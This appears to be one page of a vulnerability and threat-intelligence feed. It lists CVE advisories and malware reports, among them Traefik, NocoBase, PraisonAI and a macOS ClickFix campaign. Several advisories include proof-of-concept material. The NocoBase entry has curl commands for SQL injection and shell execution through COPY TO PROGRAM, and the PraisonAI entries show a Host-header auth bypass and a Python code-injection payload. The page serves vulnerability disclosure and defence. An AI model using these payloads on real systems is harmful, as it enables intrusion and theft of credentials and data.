Search: app.py
197 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | Bleeping Computer WindRelay is an Android NFC relay malware used in combination with the SpyNote remote administration tool (RAT) to steal live payment card data and commit financial fraud. Attackers socially engineer victims to install SpyNote disguised as a legitimate app, granting remote access to their device. Subsequently, WindRelay is installed to relay NFC card data in real time, enabling attackers to perform fraudulent transactions including taking out loans and making purchases using the victim's card. The attack relies heavily on social engineering and occurs rapidly, often within minutes. Targeting appears focused on Czechia, Slovakia, and Slovenia. Users are advised to avoid sideloading apps from untrusted sources and be cautious with apps requesting NFC or accessibility permissions. | Bleeping Computer | |||
| High | 8.1 | EPSS 0.5% | CVE-2026-19594Snowflake Python APIs · Path Traversal High8.1EPSS 0.5%CVE Database V5CVE-2026-19594 Insufficient input sanitization in Snowflake Python API (`snowflake.core`) versions prior to 1.13.0 allowed confused-deputy privilege escalation through two related weaknesses: path traversal (CWE-22) via unencoded `..` identifier path segments, and HTTP parameter pollution (CWE-141) via unencoded `&`/`#`/`=` characters in query string values. An attacker with access to a downstream application built on snowflake.core could exploit the path traversal by supplying `..` as an object name, causing `snowflake.core` to issue REST requests against a parent resource or exploit the parameter pollution by injecting `&`/`#`/`=` into a free-form name field to override constraints on swap, clone, or rename operations — all executed under the application's privileged session. Successful exploitation requires the attacker to control an identifier or object-name string in an application built on snowflake.core that passes it to `snowflake.core` under a higher-privileged Snowflake session (e.g., an EXECUTE AS OWNER stored procedure, Streamlit app, or Native App). The fix is available in Snowflake Python API version 1.13.0, which also addresses several additional security findings. Users must manually upgrade. | CVE Database V5 | ||
| Critical | 9.8 | EPSS 1.3% | CVE-2026-72577NASA fprime-gds · Missing Authentication Critical9.8EPSS 1.3%CVE Database V5CVE-2026-72577 NASA fprime-gds versions prior to 3.4.4 contain multiple vulnerabilities due to missing authentication on all Flask application endpoints. This allows unauthenticated remote attackers to execute arbitrary code on the ground station host and send arbitrary commands to connected spacecraft. The flaw is caused by the lack of authentication enforcement in the src/fprime_gds/flask/app.py component. | CVE Database V5 | ||
| Critical | 9.3 | EPSS 1.1% | CVE-2026-71957D-Link DWR-M961 · Classic Buffer Overflow Critical9.3EPSS 1.1%CVE Database V5CVE-2026-71957 D-Link DWR-M961 devices with hardware version C1 and software version 1.1.2_C1_202602110044 contain a buffer overflow vulnerability in the app.cgi interface. A remote attacker can write an overly long string to the netAcc.addlist[].name field and execute arbitrary commands by crafting a specific payload, or cause the device to crash. | CVE Database V5 | ||
| High | 8.1 | EPSS 0.9% | CVE-2026-5857os/net/app-layer/mqtt/mqtt.c sets topic_len_received=1 · Contiki-NG's MQTT client parse_publish_vhdr() High8.1EPSS 0.9%GCVE DatabaseCVE-2026-5857 Contiki-NG's MQTT client parse_publish_vhdr() in os/net/app-layer/mqtt/mqtt.c sets topic_len_received=1 before checking topic_len against the 64-byte limit, so an over-length topic returns early but leaves the flag set. On the next TCP segment, tcp_input() re-invokes the parser with topic_received==0, and the persisted topic_len_received==1 skips the length-reading block containing the guard, falling through directly to a memcpy() that uses the unvalidated 16-bit topic_len as the copy length. The 65-byte topic[] destination overruns into adjacent struct fields including the payload_chunk pointer, which subsequent MQTT code dereferences, giving a compromised or attacker-controlled broker an arbitrary-pointer-write primitive. Contiki-NG's MQTT implementation has no TLS support so the connection is plaintext. Impact ranges from information disclosure and denial of service to remote code execution on embedded targets without memory protection. | GCVE Database | ||
| High | 8.2 | EPSS 0.5% | CVE-2026-71327Traefik · Gateway API route identity collision allows cross-namespace backend hijacking High8.2EPSS 0.5%GCVE DatabaseCVE-2026-71327 ## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective. For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules. ## Details The HTTPRoute provider creates a route key as follows: ```go routeKey := provider.Normalize(fmt.Sprintf( "%s-%s-%s-gw-%s-%s-ep-%s-%d", strings.ToLower(kindHTTPRoute), route.Namespace, route.Name, gatewayNamespace, gatewayName, listener.EPName, ri, )) ``` `Normalize` replaces non-alphanumeric runs with `-`, but it does not encode field lengths or otherwise preserve component boundaries: ```go func Normalize(name string) string { fargs := func(c rune) bool { return !unicode.IsLetter(c) && !unicode.IsNumber(c) } return strings.Join(strings.FieldsFunc(name, fargs), "-") } ``` These distinct objects therefore have the same normalized key: ```text namespace=team, route=a-app namespace=team-a, route=app httproute-team-a-app-gw-gateway-shared-ep-web-0 ``` `makeRouterName` adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity. Each Route is built into a temporary configuration and then merged into the provider-wide configuration with `maps.Copy`: ```go maps.Copy(to.HTTP.Routers, from.HTTP.Routers) maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares) maps.Copy(to.HTTP.Services, from.HTTP.Services) maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports) ``` `maps.Copy` replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path. ### Attack prerequisites The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace. ## Proof of Concept Prerequisites: - a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - `kubectl` configured for that cluster; - curl; - local TCP port 18080 available. The following script embeds all objects used by the reproduction. It runs the official `traefik:v3.7.8` image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request. ```bash #!/usr/bin/env bash set -euo pipefail kubectl apply -f - <<'YAML' apiVersion: v1 kind: Namespace metadata: name: gateway --- apiVersion: v1 kind: Namespace metadata: name: team --- apiVersion: v1 kind: Namespace metadata: name: team-a --- apiVersion: v1 kind: ServiceAccount metadata: name: traefik-audit | GCVE Database | ||
| –Not rated | – | Microsoft Security Blog In this article Activity overview How ClickFix works Campaign overview ClickFix moved from open pages to fingerprinting gates The fingerprinting gate Mitigation and protection guidance Indicators of compromise (IOC) References Learn more Microsoft Threat Intelligence observed a macOS ClickFix campaign distributing infostealers, including MacSync and Atomic Stealer (AMOS) , through a large cluster of look-alike domains. The campaign evolved from broadly serving ClickFix lures to using a server-side browser-fingerprinting gate that shows the lure primarily to visitors whose environment appears consistent with a genuine macOS browser. This cloaking limits visibility for crawlers, sandboxes, and some automated analysis workflows. The blog details the domain pattern, fingerprinting checks, infection chain, detection coverage, and hunting pivots that defenders can use to identify related activity. Activity overview Microsoft Threat Intelligence has been tracking a macOS ClickFix operation that distributes information-stealing malware through a large family of algorithmically named domains. Over several weeks of monitoring, Microsoft observed a notable shift in tradecraft: the same infrastructure moved from openly serving the malicious command in the served page’s HTML source to concealing the lure behind a server-side fingerprinting gate that reveals the payload only to visitors the server assesses as a genuine macOS target. The chain ultimately delivers information stealers such as MacSync or Atomic Stealer (AMOS). This activity is consistent with the broader shift in macOS ClickFix tradecraft that Microsoft Threat Intelligence previously documented , in which threat actors instruct users to run Terminal commands that retrieve remotely hosted content rather than the traditional approach of delivering a disk image for manual installation. The cluster described here is notable for two reasons: its domains are mass-produced by a recognizable name generator, and it adopted server-side cloaking on existing infrastructure, giving defenders a clear before-and-after view of the same operation. In this blog, we describe the campaign’s domain-generation pattern, the two delivery phases we observed, the fingerprinting gate that now fronts the infrastructure, and the end-to-end infection chain. We also provide hunting guidance, mitigation recommendations, and defanged indicators of compromise. How ClickFix works ClickFix is a social-engineering technique where attackers persuade users to copy and run a command in Terminal instead of downloading a traditional macOS application. The lure usually appears as a fake verification step, software update, download error, or CAPTCHA, with the command disguised as something required to complete the action. Because execution starts from a user-run Terminal command rather than a downloaded app bundle, the flow can avoid parts of the normal macOS application trust path, including quarantine handling, code-signing evaluation, and notarization checks typically applied to downloaded applications. In this campaign, ClickFix remains the delivery mechanism, but the important change is that the lure is no longer shown to every visitor. The page first profiles the visitor through a browser-fingerprinting gate and primarily requests consistent with a genuine macOS browser environment receive the fake “Download for macOS” page and copied Terminal command. Figure 1a – The counterfeit “Download for macOS” page served to a qualifying visitor by a cloaked gate (apricotfilepoint[.]com). The page displays a forged “Verified Publisher” badge and offers a one-click Copy of an obfuscated curl one-liner. Delivery is conditional. During analysis, the same URLs returned different content to different requests. In some case the macOS ClickFix lure, and in others an apparently benign decoy page. In our testing, a request presenting a Windows browser received a decoy page such as a fake browser-extension or VPN landing page (Figure… | Microsoft Security Blog | |||
| Malicious | – | MaliciousGCVE Database The npm package 'tinkoff-fb-app-frame-page-height-dippy' version 20.8.4 contains malicious code that acts as a binary dropper. Upon requiring the package, it reconstructs command-and-control hostnames and downloads attacker-controlled native binaries which are saved and executed on the host system. This behavior is hidden through runtime string concatenation and evasion techniques. The package name and description do not reflect this malicious behavior. Systems with this package installed should be considered fully compromised. | GCVE Database | |||
| Critical | 10.0 | EPSS 0.9% | Critical10.0EPSS 0.9%GCVE DatabaseCVE-2026-52887 ## Summary `GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously. The injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=<expression>`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads. The shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM '...'` therefore runs shell commands as `uid=999(postgres)` inside the database container. Result: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in. ## Affected NocoBase server, `@nocobase/plugin-notification-in-app-message` `<=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`). `@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role. ## Root cause `packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast. `packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow('myInAppChannels', '*', 'loggedIn')` exposes every action on the resource to every authenticated role, including the seeded `member`. `packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement. `docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname='nocobase'` returns `true`). The `pg` driver simple-query accepts stacked statements. ## Reproduction Tested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`. 1. Anonymous sign-up, then sign-in for a `member` JWT. ``` curl -X POST -H 'Content-Type: application/json' \ -d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \ http://target:13000/api/auth:signUp?authenticator=basic TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \ -d '{"account":"a","password":"P!ssw0rd1"}' \ http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token) ``` 2. Time-based oracle confirms injection. Each request below takes ~5 seconds. ``` curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \ "http://target:13000/api/myInAppChannels:list" \ --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a" ``` 3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container. ``` curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \ "http://target:13000/api/myInAppChannels:list" \ --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --" docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt # uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert) ``` Live-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'`. Reproduced 2026-05-26 against HEAD `e35a2737`. ## Impact - Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query). - Arbitrary row read of any collection, including `use | GCVE Database | ||
| –Not rated | – | AlienVault OTX General Researchers uncovered a fractured criminal ecosystem built around Flying Eagle, an Android remote access tool whose source code was stolen in early 2026 along with nearly 200 customer databases. The investigation began with a malicious APK impersonating a Chinese Provincial Public Security Bureau app, leading to identification of 170 active servers running the framework. Two Telegram channels, SQLRCE0 and Yx Technology, distribute modified versions with operational support and cash-out services at 20-50% transaction fees. The platform combines APK generation and C2 device management with phishing overlays targeting financial, adult, and government services. A successor platform called Night Dragon was introduced in June 2026, featuring enhanced credential capture capabilities for Chinese banking apps, cryptocurrency wallets, and social media platforms. The activity primarily targets Chinese citizens through social engineering lures, though international templates suggest broader targeting capability. | AlienVault OTX General | |||
| High | 7.5 | EPSS 0.5% | CVE-2026-42566meshtastic firmware · Improper Input Validation High7.5EPSS 0.5%CVE Database V5CVE-2026-42566 Meshtastic is an open source mesh networking solution. Prior to version 2.7.23.b246bcd, a single node advertising a User.long_name that contains a malformed character encoding can render other radios unusable over BLE when managed through the iOS app. The malformed name does not need to be maliciously crafted — it can arise from ordinary buffer truncation and has been observed occurring naturally in the wild. At least one code path could place a null terminator in the middle of a multibyte sequence, leaving a malformed User.long_name in the node database. The problem surfaced downstream: the iOS app enforced encoding validation and therefore cannot parse a node database once it contains a poisoned entry. This caused BLE sync to enter a fail/retry loop, resulting in loss of control over the affected device. For a typical user managing their radio with the iOS app, the device becomes effectively unusable until the poisoned node ages out of the on-device database, or unless they have an alternate management path (e.g., the Python CLI, which can be used to identify and remove the offending entries manually). Because the malformed name propagates through the mesh, the temporary presence of a single affected node can degrade BLE management for iOS users across a wide geographical area for an extended period. Less technical users have no straightforward recovery path. Starting in version 2.7.23.b246bcd, the firmware has added input sanitization and regression tests demonstrating recovery for already-poisoned devices. The apps have also taken steps to ensure more graceful handling of malformed encoding sequences as well. | CVE Database V5 | ||
| Low | 2.1 | EPSS 0.3% | Low2.1EPSS 0.3%CVE Database V5CVE-2026-16218 A vulnerability was detected in hunvreus devpush up to 0.4.6. Affected by this issue is the function reset_storage of the file app/workers/tasks/storage.py of the component Storage Reset Failure Handler. The manipulation results in improper check or handling of exceptional conditions. A high complexity level is associated with this attack. The exploitation is known to be difficult. The project was informed of the problem early through an issue report but has not responded yet. EPSS 0.3%Vulnerability | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.5% | CVE-2026-16016poco-claw · Server-Side Request Forgery Medium6.9EPSS 0.5%CVE Database V5CVE-2026-16016 A vulnerability was identified in poco-ai poco-claw up to 0.5.4. This issue affects the function run_task of the file executor/app/api/v1/task.py. The manipulation of the argument callback_url leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The reported GitHub issue was closed automatically due to inactivity. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.6% | CVE-2026-16015poco-claw · Missing Authentication Medium5.3EPSS 0.6%CVE Database V5CVE-2026-16015 A vulnerability was determined in poco-ai poco-claw up to 0.5.4. This vulnerability affects the function create_task of the file executor_manager/app/api/v1/tasks.py of the component executor_manager API. Executing a manipulation can lead to missing authentication. The exploit has been publicly disclosed and may be utilized. Upgrading to version 0.5.7 is able to resolve this issue. This patch is called 67fcc88505c57f77d3fcf04eb5b89425b10cbf48. It is recommended to upgrade the affected component. | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.4% | CVE-2026-61718bunkerity bunkerweb · Improper Authorization Medium5.4EPSS 0.4%CVE Database V5CVE-2026-61718 bunkerweb is an Open-source and next-generation Web Application Firewall (WAF). From 1.6.2 until 1.6.12, the BunkerWeb web UI BiscuitMiddleware authorization bypass list included the /cache/ URL prefix, so routes in src/ui/app/routes/cache.py protected only by @login_required, including POST /cache/delete, allowed low-privilege read-only reader accounts to permanently delete job cache files containing blacklist, greylist, DNSBL, CrowdSec, GeoIP, ModSecurity CRS, Let's Encrypt, ACME, and custom configuration data. This issue is fixed in version 1.6.12. | CVE Database V5 | ||
| Critical | 10.0 | EPSS 0.6% | Critical10.0EPSS 0.6%CVE Database V5CVE-2026-45336 HireFlow is a web-based interview management system for managing candidates, scheduling interviews, and tracking hiring progress. In 1.2 and earlier, app.py assigns a hard-coded Flask secret_key used to sign session cookies, allowing unauthenticated attackers who know the public source value to forge cookies containing role=admin and user_id values and bypass authentication. The advisory lists version 1.3 as fixed. | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.1% | CVE-2026-53656FiftyOne App server uses wildcard CORS (Access-Control-Allow-Origin: *), enabling cross-origin reads of local server Medium6.3EPSS 0.1%GCVE DatabaseCVE-2026-53656 The FiftyOne App server versions prior to 1.17.0 use a wildcard CORS header (Access-Control-Allow-Origin: *) on local server responses, including an unauthenticated /media endpoint that serves local files by path. This configuration allows any website visited by a user running the local FiftyOne server to read arbitrary files from the user's machine by making cross-origin requests, enabling drive-by data exfiltration without user interaction. The vulnerability is fixed in version 1.17.0, which restricts CORS to same-origin by default and requires explicit opt-in for cross-origin access. | GCVE Database | ||
| High | 8.8 | EPSS 0.5% | CVE-2026-61435MervinPraison PraisonAI · Improper Authentication High8.8EPSS 0.5%CVE Database V5CVE-2026-61435 # Call API localhost-only authentication bypass via spoofed Host header ## Summary PraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled. ## Technical Details The affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding: ```python _LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'}) def _bind_host_from_request(request: Request) -> str: host = getattr(getattr(request, 'url', None), 'hostname', None) return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1') async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if _call_auth_disabled(): bind_host = _bind_host_from_request(request) if bind_host not in _LOCALHOST_HOSTS: raise HTTPException( status_code=503, detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding", ) return ``` The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service. The protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry. This is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata. ## PoV the PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`. ```python disabled_client = TestClient(app, base_url="http://external.example") external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, ) ``` Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent. The complete PoV script is in Appendix A. ## PoC Run from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`: ```bash git checkout v4.6.62 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed `v4.6.62` output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ``` Run the same script against current main: ```bash git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ``` Observed current-head output: ```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "respo | CVE Database V5 | ||
| High | 8.5 | EPSS 0.2% | CVE-2026-61433MervinPraison PraisonAI · Code Injection High8.5EPSS 0.2%CVE Database V5CVE-2026-61433 # API deploy code generator embeds unescaped YAML fields into Python source ## Summary PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled. ## Technical Details The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`. The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax: ```python def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) ''' ``` The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression: ```text ' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + ' ``` The generated startup code then becomes equivalent to: ```python app.run( host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '', port=8005, debug=False, ) ``` That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator. `agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value. ## PoV The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check. ```python from pathlib import Path import json import sys import tempfile import types import yaml def install_stubs(): class FakeApp: def __init__(self, name): self.name = name def route(self, *args, **kwargs): def deco(func): return func return deco def run(self, *args, **kwargs): return None flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask flask_cors = types.ModuleType("flask_cors") flask_cors.CORS = lambda app: app sys.modules["flask_cors"] = flask_cors praisonai_mod = types.ModuleType("praisonai") class FakePraisonAI: def __init__(self, agent_file): self.agent_file = agent_file def run(self): return "ok" praisonai_mod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonai_mod def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generate_api_server_code from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validate_agents_yaml install_stubs() with tempfile.TemporaryDirectory() as tmp: tmp_path = Path(tmp) host_marker = tmp_path / "host-marker.txt" file_marker = tmp_path / "agent-file-marker.txt" host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '" agents_yaml = tmp_path / "agents.yaml" agents_yaml.write_text(yaml.safe_dump({ "deploy": { "type": "api", "api": {"host": host_payload, "port": 8005, "auth_enabled": False}, }, "agents": [{"name": "dem | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.6% | CVE-2026-15622poco-claw · Authorization Bypass Medium6.9EPSS 0.6%CVE Database V5CVE-2026-15622 A flaw has been found in poco-ai poco-claw up to 0.5.4. Affected is the function get_workspace_file of the file executor_manager/app/api/v1/workspace.py of the component Workspace API. Executing a manipulation of the argument user_id can lead to authorization bypass. The attack may be launched remotely. The exploit has been published and may be used. This patch is called 67fcc88505c57f77d3fcf04eb5b89425b10cbf48. Upgrading the affected component is recommended. | CVE Database V5 |
Page 5 of 11